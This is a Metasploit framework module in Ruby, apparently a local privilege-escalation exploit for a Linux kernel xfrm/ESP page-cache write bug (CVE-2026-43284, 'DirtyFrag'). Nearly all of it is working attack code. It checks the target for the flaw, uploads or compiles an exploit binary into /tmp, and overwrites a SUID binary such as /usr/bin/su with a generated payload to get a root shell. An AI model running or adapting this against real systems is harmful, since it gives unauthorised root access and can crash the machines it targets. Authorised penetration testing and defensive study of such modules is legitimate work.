## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::Kernel include Msf::Post::Linux::System include Msf::Post::Linux::Compile include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'xfrm-ESP Page-Cache Write via CVE-2026-43284', 'Description' => %q{ CVE-2026-43284 is a Linux kernel page-cache write vulnerability in the IPsec/xfrm subsystem affecting ESP (Encapsulating Security Payload) fragmentation. Dubbed "DirtyFrag", the bug allows a local unprivileged user to gain write access to read-only page-cache pages by triggering a race condition in how the kernel handles shared fragments when processing ESP-encapsulated UDP packets. The exploit overwrites a SUID binary on disk to execute an arbitrary payload as root. }, 'License' => MSF_LICENSE, 'Author' => [ 'Hyunwoo Kim', # Discovery 'Giovanni Heward', # Original module ], 'References' => [ ['CVE', '2026-43284'], ['EDB', '52585'], ['EDB', '52591'], ['URL', 'https://github.com/V4bel/dirtyfrag'], ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Platform' => [ 'linux', 'unix'], 'Arch' => ARCH_CMD, 'Targets' => [[ 'Auto', {} ]], 'DisclosureDate' => '2026-05-08', 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_OS_DOWN ], 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ] } ) ) register_options([ OptString.new('WRITABLE_DIR', [ true, 'Directory to write files to', '/tmp' ]), OptString.new('SUID_BINARY_PATH', [ true, 'The path to a suid binary', '/usr/bin/su' ]) ]) end def check dirtyfrag_modprobe = cmd_exec('ls /etc/modprobe.d/ | grep -e dirty -e dirty-frag -e dirtyfrag') return CheckCode::Safe('The machine seems to be patched') unless dirtyfrag_modprobe.blank? vuln_modules = %w[esp ipcomp] return CheckCode::Unknown('The vulnerable modules have not been detected') unless kernel_modules.any? { |m| vuln_modules.include?(m) } kernel_version = Rex::Version.new kernel_release.split('-').first return CheckCode::Safe('The kernel version is older than the commit when bug was introduced') if kernel_version < Rex::Version.new('4.10') CheckCode::Appears('The target is vulnerable, vulnerable module detected and no mitigation detected') end def exploit suid_binary_path = datastore['SUID_BINARY_PATH'] fail_with(Failure::BadConfig, "The #{suid_binary_path} does not exists on target system") unless setuid?(suid_binary_path) payload_dir = datastore['WRITABLE_DIR'] fail_with(Failure::NoAccess, 'Cannot write into WRITABLE_DIR, make sure you select writable directory') unless writable?(payload_dir) arch = kernel_arch cmd_payload = framework.payloads.create("linux/#{arch}/exec") fail_with(Failure::NoTarget, "#{arch} targets are not supported.") if cmd_payload.nil? || !cmd_payload.options.key?('PrependSetuid') cmd_payload.datastore['CMD'] = payload.encoded cmd_payload.datastore['PrependSetuid'] = true elf = cmd_payload.generate_simple('Format' => 'elf') # add padding elf += "\xff" * ((4 - (elf.size % 4)) % 4) exploit_file = "#{payload_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" if live_compile? vprint_status('Live compiling exploit on system...') exploit_c = exploit_data('CVE-2026-43284', 'CVE_2026_43284.c') upload_and_compile(exploit_file, exploit_c) else fail_with(Failure::BadConfig, 'Precompiled exploit only supported for x64, x86, Arm64 and Armel') unless [ARCH_X64, ARCH_X86, ARCH_AARCH64, ARCH_ARMLE].include?(arch) vprint_status('Dropping pre-compiled exploit on system...') exploit_bin = exploit_data('CVE-2026-43284', "CVE_2026_43284_#{arch}") upload_and_chmodx(exploit_file, exploit_bin) end register_file_for_cleanup(exploit_file) print_status(%(Trying to run the exploit: "echo -n #{Base64.strict_encode64(elf)} | base64 -d | #{exploit_file} #{elf.size} #{suid_binary_path}")) # patch the setuid file response = cmd_exec("echo -n #{Base64.strict_encode64(elf)} | base64 -d | #{exploit_file} #{elf.size} #{suid_binary_path}") fail_with(Failure::NotVulnerable, 'The target machine does not seem to be vulnerable') unless response.include?('payload delivered') print_status('Running the payload') # run the payload cmd_exec(suid_binary_path.to_s) end def on_new_session(session) print_status('Restoring balance in galaxy') if session.type.eql?('meterpreter') session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') session.sys.process.execute('/bin/sh', "-c 'echo 3 > /proc/sys/vm/drop_caches") else session.shell_command_token('echo 3 > /proc/sys/vm/drop_caches') end super end end